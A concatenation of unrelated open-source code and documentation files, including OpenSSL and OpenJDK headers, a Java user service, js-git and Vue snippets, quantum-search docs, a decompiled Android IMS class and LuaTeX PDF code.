# define TS_F_TS_RESP_SIGN 136
# define TS_F_TS_RESP_VERIFY_SIGNATURE 106
# define TS_F_TS_TST_INFO_SET_ACCURACY 137
# define TS_F_TS_TST_INFO_SET_MSG_IMPRINT 138
# define TS_F_TS_TST_INFO_SET_NONCE 139
# define TS_F_TS_TST_INFO_SET_POLICY_ID 140
# define TS_F_TS_TST_INFO_SET_SERIAL 141
# define TS_F_TS_TST_INFO_SET_TIME 142
# define TS_F_TS_TST_INFO_SET_TSA 143
# define TS_F_TS_VERIFY 108
# define TS_F_TS_VERIFY_CERT 109
# define TS_F_TS_VERIFY_CTX_NEW 144
/*
* TS reason codes.
*/
# define TS_R_BAD_PKCS7_TYPE 132
# define TS_R_BAD_TYPE 133
# define TS_R_CANNOT_LOAD_CERT 137
# define TS_R_CANNOT_LOAD_KEY 138
# define TS_R_CERTIFICATE_VERIFY_ERROR 100
# define TS_R_COULD_NOT_SET_ENGINE 127
# define TS_R_COULD_NOT_SET_TIME 115
# define TS_R_DETACHED_CONTENT 134
# define TS_R_ESS_ADD_SIGNING_CERT_ERROR 116
# define TS_R_ESS_ADD_SIGNING_CERT_V2_ERROR 139
# define TS_R_ESS_SIGNING_CERTIFICATE_ERROR 101
# define TS_R_INVALID_NULL_POINTER 102
# define TS_R_INVALID_SIGNER_CERTIFICATE_PURPOSE 117
# define TS_R_MESSAGE_IMPRINT_MISMATCH 103
# define TS_R_NONCE_MISMATCH 104
# define TS_R_NONCE_NOT_RETURNED 105
# define TS_R_NO_CONTENT 106
# define TS_R_NO_TIME_STAMP_TOKEN 107
# define TS_R_PKCS7_ADD_SIGNATURE_ERROR 118
# define TS_R_PKCS7_ADD_SIGNED_ATTR_ERROR 119
# define TS_R_PKCS7_TO_TS_TST_INFO_FAILED 129
# define TS_R_POLICY_MISMATCH 108
# define TS_R_PRIVATE_KEY_DOES_NOT_MATCH_CERTIFICATE 120
# define TS_R_RESPONSE_SETUP_ERROR 121
# define TS_R_SIGNATURE_FAILURE 109
# define TS_R_THERE_MUST_BE_ONE_SIGNER 110
# define TS_R_TIME_SYSCALL_ERROR 122
# define TS_R_TOKEN_NOT_PRESENT 130
# define TS_R_TOKEN_PRESENT 131
# define TS_R_TSA_NAME_MISMATCH 111
# define TS_R_TSA_UNTRUSTED 112
# define TS_R_TST_INFO_SETUP_ERROR 123
# define TS_R_TS_DATASIGN 124
# define TS_R_UNACCEPTABLE_POLICY 125
# define TS_R_UNSUPPORTED_MD_ALGORITHM 126
# define TS_R_UNSUPPORTED_VERSION 113
# define TS_R_VAR_BAD_VALUE 135
# define TS_R_VAR_LOOKUP_FAILURE 136
# define TS_R_WRONG_CONTENT_TYPE 114
# endif
#endif
| {
"pile_set_name": "Github"
} |
//
// EXPRuntimeMatcher.h
// Expecta
//
// Created by Luke Redpath on 26/03/2012.
// Copyright (c) 2012 Peter Jihoon Kim. All rights reserved.
//
#import <Foundation/Foundation.h>
#import "EXPMatcher.h"
#import "EXPDefines.h"
@interface EXPBlockDefinedMatcher : NSObject <EXPMatcher> {
EXPBoolBlock prerequisiteBlock;
EXPBoolBlock matchBlock;
EXPStringBlock failureMessageForToBlock;
EXPStringBlock failureMessageForNotToBlock;
}
@property(nonatomic, copy) EXPBoolBlock prerequisiteBlock;
@property(nonatomic, copy) EXPBoolBlock matchBlock;
@property(nonatomic, copy) EXPStringBlock failureMessageForToBlock;
@property(nonatomic, copy) EXPStringBlock failureMessageForNotToBlock;
@end
| {
"pile_set_name": "Github"
} |
package cn.tycoding.biz.service.impl;
import cn.hutool.core.date.DateUtil;
import cn.tycoding.biz.entity.SysUser;
import cn.tycoding.biz.mapper.UserMapper;
import cn.tycoding.biz.service.UserService;
import cn.tycoding.common.utils.Md5Util;
import cn.tycoding.common.utils.SplineChart;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
/**
* @author tycoding
* @date 2020/6/27
*/
@Service
public class UserServiceImpl extends ServiceImpl<UserMapper, SysUser> implements UserService {
@Autowired
private UserMapper userMapper;
@Autowired
private Md5Util md5Util;
@Override
public SysUser findByName(String username) {
LambdaQueryWrapper<SysUser> queryWrapper = new LambdaQueryWrapper<>();
queryWrapper.eq(SysUser::getUsername, username);
List<SysUser> list = userMapper.selectList(queryWrapper);
return list.size() > 0 ? list.get(0) : null;
}
@Override
public SysUser checkName(String username, String currentName) {
LambdaQueryWrapper<SysUser> queryWrapper = new LambdaQueryWrapper<>();
queryWrapper.eq(SysUser::getUsername, username);
queryWrapper.ne(SysUser::getUsername, currentName);
List<SysUser> list = userMapper.selectList(queryWrapper);
return list.size() > 0 ? list.get(0) : null;
}
@Override
@Transactional
public void add(SysUser sysUser) {
String encryptPassword = md5Util.encryptPassword(sysUser.getPassword());//加密
sysUser.setPassword(encryptPassword);
sysUser.setAvatar("/img/avatar/default.jpg");
sysUser.setCreateTime(new Date());
userMapper.insert(sysUser);
}
@Override
@Transactional
public void update(SysUser sysUser) {
sysUser.setPassword(null);
userMapper.updateById(sysUser);
}
@Override
@Transactional
public void updatePass(SysUser sysUser) {
SysUser user = new SysUser().setPassword(sysUser.getPassword());
userMapper.updateById(user);
}
@Override
@Transactional
public void delete(Long id) {
userMapper.deleteById(id);
}
@Override
public List<Long[]> chart() {
List<Long[]> splineChart = new ArrayList<>();
List<SplineChart> splineChartList = userMapper.chart();
if (splineChartList.size() > 0) {
splineChartList.forEach(item -> {
if (item.getTime() != null) {
Long[] d = {DateUtil.parse(item.getTime(), "yyyy-MM-dd").getTime(), item.getNum()};
splineChart.add(d);
}
});
}
return splineChart;
}
}
| {
"pile_set_name": "Github"
} |
var modes = require('js-git/lib/modes');
module.exports = function (repo, rootHash, onRootChange) {
var writing = false;
var writeLocks = {};
var readLocks = {};
var queue = [];
return begin;
function* begin(prefix, writable) {
// Check and normalize inputs
if (typeof prefix !== "string") {
throw new TypeError("prefix must be string");
}
prefix = normalizePath(prefix);
prefix = prefix ? prefix + "/" : prefix;
writable = !!writable;
// Wait for lock acquisition
var lock = yield* getLock(prefix, writable);
var alive = true;
var edits = {};
var cache = {};
// Read the current state of the prefix
var entry = yield repo.pathToEntry(rootHash, prefix);
if (entry.mode !== modes.tree) {
throw new Error("No such tree " + prefix);
}
entry.repo = repo;
cache[""] = entry;
// Build and return the external API
var api = {end: end, read: read, getRepo: getRepo};
if (writable) api.write = write;
return api;
function* pathToEntry(path) {
console.log("p2e", path)
var entry = cache[path];
if (!entry) {
var index = path.lastIndexOf("/");
if (index < 0) return;
var parent = yield* pathToEntry(path.substring(0, index));
if (parent.mode !== modes.tree) return;
var tree = entry.tree || (yield repo.loadAs("tree", parent.hash));
entry = tree[path.substring(index + 1)];
if (!entry) return {last: parent};
cache[path] = entry;
if (!entry.repo) entry.repo = repo;
}
if (entry.mode === modes.tree && !entry.tree) {
entry.tree = yield entry.repo.loadAs("tree", entry.hash);
}
return entry;
}
// The user calls this when they wish to end the transaction and release the lock.
function* end() {
if (!alive) throw new Error("Transaction closed");
alive = false;
throw new Error("TODO: flush writes");
yield* releaseLock(lock);
}
function* read(path) {
path = check(path);
var entry = yield* pathToEntry(path);
if (entry.mode) return entry;
}
function* getRepo(path) {
path = check(path);
var entry = yield* pathToEntry(path);
if (entry.last) entry = entry.last;
return entry.repo;
}
function* write(path, entry) {
path = check(path);
var oldEntry = yield* pathToEntry(path);
if (!oldEntry.mode && oldEntry.last.mode !== modes.tree) {
throw new Error("Can't create path " + path);
}
edits[path] = entry;
throw new Error("TODO: Implement write");
}
function check(path) {
if (!alive) throw new Error("Transaction closed");
path = normalizePath(path);
if (path + "/" !== prefix && path.substring(0, prefix.length) !== prefix) {
throw new Error("Path " + path + " outside prefix " + prefix);
}
return path.substring(prefix.length);
}
}
function* getLock(prefix, writable) {
return {
prefix: prefix,
writable: writable
};
return yield function (fn) {
queue.push({prefix: prefix, writable: writable, fn: fn});
};
}
function* releaseLock(lock) {
// throw new Error("TODO: release lock");
}
};
function normalizePath(path) {
return path.split("/").filter(Boolean).join("/");
}
/*
// Get a writable lock to the www folder and it's contents
// No other writable locks will be granted for this section.
var op = yield* fs.startWrite("www");
op.writeFile("www/index.html", "...");
op.writeFile("www/style.html", "...");
// Reading is also allowed from a read lock
yield* op.readEntry(".gitmodules");
// You can even read yet-to-be-written changes
yield* op.readFile("www/style.html");
// Close the lock, returns the new tree hash for the requested root.
yield* op.close();
// Get a readable lock, there can be many concurrent reads, but only one
// concurrent write.
var op = yield* fs.startRead("www/css");
// Read the tree entries
yield* op.readTree("www/css");
// Release the lock when you're done so writes can happen.
yield* op.close();
// // Read ops
// yield* op.readEntry(path)
// yield* op.readFile(path)
// yield* op.readTree(path)
// // Write ops
// op.writeEntry(path, entry)
// op.writeFile(path, contents)
// op.deleteEntry(path)
// op.moveEntry(oldPath, newPath)
// // close flushing any writes and releasing lock
// yield* op.close()
*/
| {
"pile_set_name": "Github"
} |
fileFormatVersion: 2
guid: 98bf851c405704aa5a904a634e3096a9
MonoImporter:
serializedVersion: 2
defaultReferences: []
executionOrder: 0
icon: {instanceID: 0}
userData:
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<LanguageData>
<crystalAbundanceSetting>Abundancia de cristales</crystalAbundanceSetting>
<crystalDiversitySetting>Diversidad de cristales</crystalDiversitySetting>
<boulderAbundanceSetting>Abundancia de rocas</boulderAbundanceSetting>
<rocksAbundanceSetting>Abundancia de rocas pequeñas</rocksAbundanceSetting>
<mineralGrowthSetting>Tasa de crecimiento mineral</mineralGrowthSetting>
<mineralReproductionSetting>Tasa de reproducción mineral</mineralReproductionSetting>
<mineralSpawningSetting>Tasa de reproducción mineral</mineralSpawningSetting>
<replaceWallsSetting>Reemplazar paredes de roca</replaceWallsSetting>
<replaceChunksSetting>Reemplazar trozos de roca iniciales</replaceChunksSetting>
<includeFictionalSetting>Incluir minerales ficticios</includeFictionalSetting>
<removeStartingChunksSetting>Remover trozos de roca iniciales</removeStartingChunksSetting>
<underwaterMineralsSetting>Ocultar rocas bajo el agua</underwaterMineralsSetting>
<mineralsGrowUpWallsSetting>Crecimiento mileral en paredes</mineralsGrowUpWallsSetting>
<snowyRockSetting>Mostrar nieve en las rocas</snowyRockSetting>
<abundanceSettingsHeader>Ajustes de Abundancia Mineral</abundanceSettingsHeader>
<dynamicMineralSettingsHeader>Ajustes de crecimiento mineral</dynamicMineralSettingsHeader>
<gameplaySettingsHeader>Configuración de la jugabilidad</gameplaySettingsHeader>
<graphicalSettingsHeader>Opciones gráficas</graphicalSettingsHeader>
<visualSpreadFactor>Extensión visual</visualSpreadFactor>
<resourceDropFreqSetting>Frecuencia de caída de recursos</resourceDropFreqSetting>
<resourceDropAmountSetting>Cantidad de caída de recursos</resourceDropAmountSetting>
<terrainCountRangeSetting>Número de tipos de rocas en cada mapa</terrainCountRangeSetting>
</LanguageData>
| {
"pile_set_name": "Github"
} |
Grover's Search Algorithm and Amplitude Amplification
=====================================================
Overview
--------
This module implements Grover's Search Algorithm, and the more general Amplitude Amplification
Algorithm. Grover's Algorithm solves the following problem:
Given a collection of basis states {:math:`\ket{y}_i`}, and a quantum circuit :math:`U_w` that
performs the following:
.. math::
U_w: \ket{x}\ket{q} \to \ket{x}\ket{q\oplus f(x)}
where :math:`f(x)=1` iff :math:`\ket{x}\in\{\ket{y}_i\}`, construct a quantum circuit that when
given the uniform superposition :math:`\ket{s} = \frac{1}{\sqrt{N}}\sum\limits^{N-1}_{i=0}\ket{x_i}`
as input, produces a state :math:`\ket{s'}` that, when measured, produces a state :math:`\{y_i\}`
with probability near one.
As an example, take :math:`U_w: \ket{x}\ket{q} \to \ket{x}\ket{q\oplus (x\cdot\vec{1})}`, where
\vec{1} is the vector of ones with the same dimension as \ket{x}. In this case, :math:`f(x)=1` iff
:math:`x=1`, and so starting with the state :math:`\ket{s}` we hope end up with a state
:math:`\ket{\psi}` such that :math:`\braket{\psi}{\vec{1}}\approx1`. In this example,
:math:`\{y_i\}=\{\vec{1}\}`.
Algorithm and Details
---------------------
Grover's Algorithm requires an oracle :math:`U_w`, that performs the mapping as described above,
with :math:`f:\{0,1\}^n\to\{0,1\}^n`, and :math:`\ket{q}` a single ancilla qubit. We see that if
we prepare the ancilla qubit :math:`\ket{q}` in the state :math:`\ket{-} =
\frac{1}{\sqrt{2}}(\ket{0} - \ket{1})` then :math:`U_w` takes on a particularly useful action on our
qubits:
.. math::
U_w: \ket{x}\ket{-}\to\frac{1}{\sqrt{2}}\ket{x}(\ket{0\oplus f(x)} - \ket{1\oplus f(x)})
If :math:`f(x)=0`, then the ancilla qubit is left unchanged, however if :math:`f(x)=1` we see that
the ancilla picks up a phase factor of :math:`-1`. Thus, when used in conjunction with the ancilla
qubit, we may write the action of the oracle circuit on the data qubits :math:`\ket{x}` as:
.. math::
U_w: \ket{x}\to(-1)^{f(x)}\ket{x}
The other gate of note in Grover's Algorithm is the Diffusion operator. This operator is
defined as:
.. math:: \mathcal{D} :=
\begin{bmatrix}
\frac{2}{N} - 1 & \frac{2}{N} & \dots & \frac{2}{N} \\
\frac{2}{N}\\
\vdots & & \ddots \\
\frac{2}{N} & & & \frac{2}{N} - 1
\end{bmatrix}
This operator takes on its name from its similarity to a discretized version of the diffusion
equation, which provided motivation for Grover [2]_. The diffusion equation is given by
:math:`\frac{\partial\rho(t)}{\partial t} = \nabla\cdot\nabla\rho(t)`, where :math:`\rho` is a
density diffusing through space. We can discretize this process, as is described in [2]_, by
considering :math:`N` vertices on a complete graph, each of which can diffuse to :math:`N-1` other
vertices in each time step. By considering this process, one arrives at an equation of the form
:math:`\psi(t + \Delta t) = \mathcal{D}'\psi` where :math:`\mathcal{D}'` has a form similar to
:math:`\mathcal{D}`. One might note that the diffusion equation is the same as the Schr\uodinger
equation, up to a missing :math:`i`, and in many ways it describes the diffusion of the probability
amplitude of a quantum state, but with slightly different properties. From this analogy one might be
led to explore how this diffusion process can be taken advantage of in a computational setting.
One property that :math:`\mathcal{D}` has is that it inverts the amplitudes of an input state about
their mean. Thus, one way of viewing Grover's Algorithm is as follows. First, we flip the amplitude
of the desired state(s) with :math:`U_w`, then invert the amplitudes about their mean, which will
result in the amplitude of the desired state being slightly larger than all the other
amplitudes. Iterating this process will eventually result in the desired state having a
significantly larger amplitude. As short example by analogy, consider the vector of all ones,
:math:`[1, 1, ..., 1]`. Suppose we want to apply a transformation that increases the value of the
second input, and supresses all other inputs. We can first flip the sign to yield :math:`[1, -1, 1,
..., 1]` Then, if there are a large number of entries we see that the mean will be rougly one. Thus
inverting the entries about the mean will yield, approximately, :math:`[-1, 3, -1, ..., -1]`. Thus
we see that this procedure, after one iteration, significantly increases the amplitude of the
desired index with respect to the other indices. See [2]_ for more.
Given these definitions we can now describe Grover's Algorithm:
Input:
:math:`n + 1` qubits
Algorithm:
#. Initialize them to the state :math:`\ket{s}\ket{-}`.
#. Apply the oracle :math:`U_w` to the qubits, yielding
:math:`\sum\limits^{N-1}_{0}(-1)^{f(x)}\ket{x}\ket{-}`, where :math:`N = 2^n`
#. Apply the n-fold Hadamard gate :math:`H^{\otimes n}` to :math:`\ket{x}`
#. Apply :math:`\mathcal{D}`
#. Apply :math:`H^{\otimes n}` to :math:`\ket{x}`
It can be shown [1]_ that if this process is iterated for :math:`\mathcal{O}(\sqrt{N})` iterations,
a measurement of :math:`\ket{x}` will result in one of :math:`\{y_i\}` with probability near one.
Source Code Docs
----------------
Here you can find documentation for the different submodules in amplification.
grove.amplification.amplification
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.. automodule:: grove.amplification.amplification
:members:
:undoc-members:
:show-inheritance:
grove.amplification.grover
~~~~~~~~~~~~~~~~~~~~~~~~~~
.. automodule:: grove.amplification.grover
:members:
:undoc-members:
:show-inheritance:
.. [1] Nielsen, M.A. and Chuang, I.L. Quantum computation and quantum information. Cambridge
University Press, 2000. Chapter 6.
.. [2] Lov K. Grover: “A fast quantum mechanical algorithm for database search”, 1996;
[http://arxiv.org/abs/quant-ph/9605043 arXiv:quant-ph/9605043].
| {
"pile_set_name": "Github"
} |
<html>
<head>
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" rel="stylesheet">
<title>Greetings user</title>
</head>
<body>
<div class="container">
<!-- the || is the logical operator OR -->
<div v-if="gender== 'male' || gender == 'female'">
<h1>Hello,
<!-- render span if 'gender' equals to 'male' -->
<span v-show="gender == 'male'">Mister {{name}}.</span>
<!-- render span if 'gender' equals to 'female' -->
<span v-if="gender == 'female'">Miss {{name}}.</span>
</h1>
</div>
<!-- v-else immediately follows v-if block to work -->
<h1 v-else>So you can't decide. Fine!</h1>
<!-- show inputs -->
<label for="gender">Enter your gender:</label>
<input v-model="gender" class="form-control" id="gender"></input>
<label for="name">Enter your name:</label>
<input v-model="name" class="form-control" id="name"></input>
</div>
<pre>{{ $data | json }}</pre>
</body>
<script src="http://cdnjs.cloudflare.com/ajax/libs/vue/1.0.26/vue.js"></script>
<script type="text/javascript">
new Vue({
el: 'body',
data: {
gender: "female",
name: "Universe",
},
})
</script>
</html>
| {
"pile_set_name": "Github"
} |
var tape = require("tape"),
geometric = require("../");
tape("lineMidpoint(line) calculates the midpoint of a line segment", function(test) {
test.equal(geometric.lineMidpoint([[0, 0], [0, 1]])[0], 0);
test.equal(geometric.lineMidpoint([[0, 0], [0, 1]])[1], .5);
test.equal(geometric.lineMidpoint([[0, 0], [0, -1]])[0], 0);
test.equal(geometric.lineMidpoint([[0, 0], [0, -1]])[1], -.5);
test.equal(geometric.lineMidpoint([[1, 0], [1, 0]])[0], 1);
test.equal(geometric.lineMidpoint([[1, 0], [1, 0]])[1], 0);
test.equal(geometric.lineMidpoint([[1, 0], [-1, 0]])[0], 0);
test.equal(geometric.lineMidpoint([[1, 0], [-1, 0]])[1], 0);
test.end();
}); | {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2018, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*
*/
#ifndef SHARE_VM_GC_G1_G1REMSETTRACKINGPOLICY_HPP
#define SHARE_VM_GC_G1_G1REMSETTRACKINGPOLICY_HPP
#include "gc/g1/heapRegion.hpp"
#include "gc/g1/heapRegionType.hpp"
#include "memory/allocation.hpp"
// The remembered set tracking policy determines for a given region the state of
// the remembered set, ie. when it should be tracked, and if/when the remembered
// set is complete.
class G1RemSetTrackingPolicy : public CHeapObj<mtGC> {
public:
// Do we need to scan the given region to get all outgoing references for remembered
// set rebuild?
bool needs_scan_for_rebuild(HeapRegion* r) const;
// Update remembered set tracking state at allocation of the region. May be
// called at any time. The caller makes sure that the changes to the remembered
// set state are visible to other threads.
void update_at_allocate(HeapRegion* r);
// Update remembered set tracking state for humongous regions before we are going to
// rebuild remembered sets. Called at safepoint in the remark pause.
bool update_humongous_before_rebuild(HeapRegion* r, bool is_live);
// Update remembered set tracking state before we are going to rebuild remembered
// sets. Called at safepoint in the remark pause.
bool update_before_rebuild(HeapRegion* r, size_t live_bytes);
// Update remembered set tracking state after rebuild is complete, i.e. the cleanup
// pause. Called at safepoint.
void update_after_rebuild(HeapRegion* r);
// Update remembered set tracking state when the region is freed.
void update_at_free(HeapRegion* r);
};
#endif /* SHARE_VM_GC_G1_G1REMSETTRACKINGPOLICY_HPP */
| {
"pile_set_name": "Github"
} |
package com.android.ims;
import android.os.Message;
import android.os.RemoteException;
import android.telephony.Rlog;
import android.telephony.ims.ImsReasonInfo;
public class HwImsUtExImpl implements IHwImsUtEx {
private static final String TAG = "HwImsUtExImpl";
private IHwImsUtManager imsUtManager;
private int mPhoneId = 0;
public HwImsUtExImpl(IHwImsUtManager hwImsUtManager, int phoneId) {
this.imsUtManager = hwImsUtManager;
this.mPhoneId = phoneId;
logi("HwImsUtExImpl:imsUtManager=" + this.imsUtManager + ", mPhoneId = " + this.mPhoneId);
}
public boolean isSupportCFT() {
try {
return this.imsUtManager.isSupportCFT(this.mPhoneId);
} catch (RemoteException e) {
loge("isSupportCFT exception");
return false;
}
}
public boolean isUtEnable() {
logi("isUtEnable");
try {
return this.imsUtManager.isUtEnable(this.mPhoneId);
} catch (RemoteException e) {
loge("isUtEnable exception");
return false;
}
}
/* JADX WARNING: Removed duplicated region for block: B:21:0x0091 A[Catch:{ all -> 0x00a9 }] */
/* JADX WARNING: Removed duplicated region for block: B:24:0x009d A[Catch:{ all -> 0x00a9 }] */
public void updateCallForwardUncondTimer(int startHour, int startMinute, int endHour, int endMinute, int action, int condition, String number, Message result, ImsUt mImsUt) {
Object obj;
int i;
logi("updateCallForwardUncondTimer :: , action=" + action + ", condition=" + condition + ", startHour=" + startHour + ", startMinute=" + startMinute + ", endHour=" + endHour + ", endMinute=" + endMinute);
if (mImsUt != null) {
Object obj2 = mImsUt.mLockObj;
synchronized (obj2) {
int id = -1;
try {
i = 0;
obj = obj2;
try {
id = this.imsUtManager.updateCallForwardUncondTimer(this.mPhoneId, startHour, startMinute, endHour, endMinute, action, condition, number);
} catch (RemoteException e) {
try {
loge("updateCallForwardUncondTimer exception");
mImsUt.sendFailureReport(result, new ImsReasonInfo(802, i));
if (id < 0) {
}
} catch (Throwable th) {
th = th;
throw th;
}
}
} catch (RemoteException e2) {
i = 0;
obj = obj2;
loge("updateCallForwardUncondTimer exception");
mImsUt.sendFailureReport(result, new ImsReasonInfo(802, i));
if (id < 0) {
}
} catch (Throwable th2) {
th = th2;
obj = obj2;
throw th;
}
if (id < 0) {
mImsUt.sendFailureReport(result, new ImsReasonInfo(802, i));
return;
}
mImsUt.mPendingCmds.put(Integer.valueOf(id), result);
}
}
}
/* JADX WARNING: Removed duplicated region for block: B:28:0x006a */
/* JADX WARNING: Removed duplicated region for block: B:31:0x0076 */
public void updateCallBarringOption(String password, int cbType, boolean enable, int serviceClass, Message result, String[] barrList, ImsUt mImsUt) {
int id;
int id2;
int id3;
if (mImsUt != null) {
synchronized (mImsUt.mLockObj) {
try {
StringBuilder sb = new StringBuilder();
sb.append("updateCallBarringOption: password= ***, cbType= ");
try {
sb.append(cbType);
sb.append(", enable= ");
try {
sb.append(enable);
sb.append(", serviceclass = ");
try {
sb.append(serviceClass);
logi(sb.toString());
try {
id3 = -1;
id = 0;
try {
id2 = this.imsUtManager.updateCallBarringOption(this.mPhoneId, password, cbType, enable, serviceClass, barrList);
} catch (RemoteException e) {
}
} catch (RemoteException e2) {
id3 = -1;
id = 0;
loge("updateCallBarringOption exception");
mImsUt.sendFailureReport(result, new ImsReasonInfo(802, id));
id2 = id3;
if (id2 >= 0) {
}
}
if (id2 >= 0) {
mImsUt.sendFailureReport(result, new ImsReasonInfo(802, id));
} else {
mImsUt.mPendingCmds.put(Integer.valueOf(id2), result);
}
} catch (Throwable th) {
th = th;
throw th;
}
} catch (Throwable th2) {
th = th2;
throw th;
}
} catch (Throwable th3) {
th = th3;
throw th;
}
} catch (Throwable th4) {
th = th4;
throw th;
}
}
}
}
public void queryCallForwardForServiceClass(int condition, String number, int serviceClass, Message result, ImsUt mImsUt) {
logi("queryCallForward :: mImsUt = " + mImsUt + ", condition=" + condition + ", serviceClass:" + serviceClass);
if (mImsUt != null) {
synchronized (mImsUt.mLockObj) {
try {
int id = this.imsUtManager.queryCallForwardForServiceClass(this.mPhoneId, condition, number, serviceClass);
if (id < 0) {
mImsUt.sendFailureReport(result, new ImsReasonInfo(802, 0));
} else {
mImsUt.mPendingCmds.put(Integer.valueOf(id), result);
}
} catch (RemoteException e) {
mImsUt.sendFailureReport(result, new ImsReasonInfo(802, 0));
}
}
}
}
public String getUtIMPUFromNetwork(ImsUt mImsUt) {
if (mImsUt == null) {
return null;
}
String impu = null;
synchronized (mImsUt.mLockObj) {
try {
impu = this.imsUtManager.getUtIMPUFromNetwork(this.mPhoneId);
} catch (RemoteException e) {
mImsUt.sendFailureReport((Message) null, new ImsReasonInfo(802, 0));
}
}
return impu;
}
public void processECT(ImsUt mImsUt) {
logi("processECT :: mPhoneId=" + this.mPhoneId);
if (mImsUt != null) {
synchronized (mImsUt.mLockObj) {
try {
this.imsUtManager.processECT(this.mPhoneId);
} catch (RemoteException e) {
mImsUt.sendFailureReport((Message) null, new ImsReasonInfo(802, 0));
}
}
}
}
private void log(String s) {
Rlog.d("HwImsUtExImpl[" + this.mPhoneId + "]", s);
}
private void logi(String s) {
Rlog.i("HwImsUtExImpl[" + this.mPhoneId + "]", s);
}
private void loge(String s) {
Rlog.e("HwImsUtExImpl[" + this.mPhoneId + "]", s);
}
}
| {
"pile_set_name": "Github"
} |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.wicket.markup.head.filter;
import java.util.Arrays;
import org.apache.wicket.markup.head.IHeaderResponse;
/**
* A header response that creates two buckets. The header bucket will contain all references to CSS
* and markup from the <head> section from the page. The other bucket will contain all other
* header items, and you will need to add a {@link HeaderResponseContainer} to the footer of your
* page (typically just before the end body tag) to render those items.
*
* @author Jeremy Thomerson
*/
public class JavaScriptFilteredIntoFooterHeaderResponse extends FilteringHeaderResponse
{
/**
* Construct.
*
* @param response
* the response you are wrapping
* @param footerBucketName
* the name of the bucket that you will use for your footer container (see the class
* javadocs for a reminder about putting this container in your footer)
*/
public JavaScriptFilteredIntoFooterHeaderResponse(IHeaderResponse response,
String footerBucketName)
{
super(response);
setFilters(createFilters(footerBucketName));
}
private Iterable<? extends IHeaderResponseFilter> createFilters(String footerBucketName)
{
IHeaderResponseFilter footer = createFooterFilter(footerBucketName);
IHeaderResponseFilter header = createHeaderFilter(DEFAULT_HEADER_FILTER_NAME, footer);
return Arrays.asList(header, footer);
}
protected IHeaderResponseFilter createFooterFilter(String footerBucketName)
{
return new JavaScriptAcceptingHeaderResponseFilter(footerBucketName);
}
protected IHeaderResponseFilter createHeaderFilter(String headerFilterName, IHeaderResponseFilter footerFilter)
{
return new OppositeHeaderResponseFilter(headerFilterName, footerFilter);
}
}
| {
"pile_set_name": "Github"
} |
/*
Copyright 2006-2012 Taco Hoekwater <[email protected]>
This file is part of LuaTeX.
LuaTeX is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation; either version 2 of the License, or (at your
option) any later version.
LuaTeX is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public
License for more details.
You should have received a copy of the GNU General Public License along
with LuaTeX; if not, see <http://www.gnu.org/licenses/>.
*/
#include "ptexlib.h"
#include <stdlib.h>
#include <stdio.h>
#include <assert.h>
#include <math.h>
void init_pdf_pagecalculations(PDF pdf)
{
pdfstructure *p;
int decimal_digits = pdf->decimal_digits;
if (pdf->pstruct == NULL)
pdf->pstruct = xmalloc(sizeof(pdfstructure));
p = pdf->pstruct;
setpdffloat(p->pdf.h, 0, decimal_digits);
setpdffloat(p->pdf.v, 0, decimal_digits);
p->cw.e = 1;
/*tex |+ 2| makes less corrections inside []TJ */
p->fs_cur.e = p->fs.e = (decimal_digits < 4 ? 5 : 6);
/*tex for placement outside BT...ET */
setpdffloat(p->cm[0], 1, 0);
setpdffloat(p->cm[1], 0, 0);
setpdffloat(p->cm[2], 0, 0);
setpdffloat(p->cm[3], 1, 0);
/*tex horizontal movement on page */
setpdffloat(p->cm[4], 0, decimal_digits);
/*tex vertical movement on page */
setpdffloat(p->cm[5], 0, decimal_digits);
/*tex for placement inside BT...ET */
/*tex mantissa holds HZ expand * ExtendFont */
setpdffloat(p->tm0_cur, 0, 6);
/*tex mantissa holds HZ expand * ExtendFont */
setpdffloat(p->tm[0], ten_pow[6], 6);
setpdffloat(p->tm[1], 0, 0);
/*tex mantissa holds SlantFont, 0 = default */
setpdffloat(p->tm[2], 0, 3);
setpdffloat(p->tm[3], ten_pow[6], 6);
/*tex mantissa holds delta from |pdf_bt_pos.h| */
setpdffloat(p->tm[4], 0, decimal_digits);
/*tex mantissa holds delta from |pdf_bt_pos.v| */
setpdffloat(p->tm[5], 0, decimal_digits);
p->f_pdf_cur = p->f_pdf = null_font;
p->fs_cur.m = p->fs.m = 0;
p->wmode = WMODE_H;
p->mode = PMODE_PAGE;
p->ishex = 0;
p->need_tf = false;
p->need_tm = false;
p->done_width = false;
p->done_mode = false;
p->k1 = ten_pow[p->pdf.h.e] / by_one_bp;
}
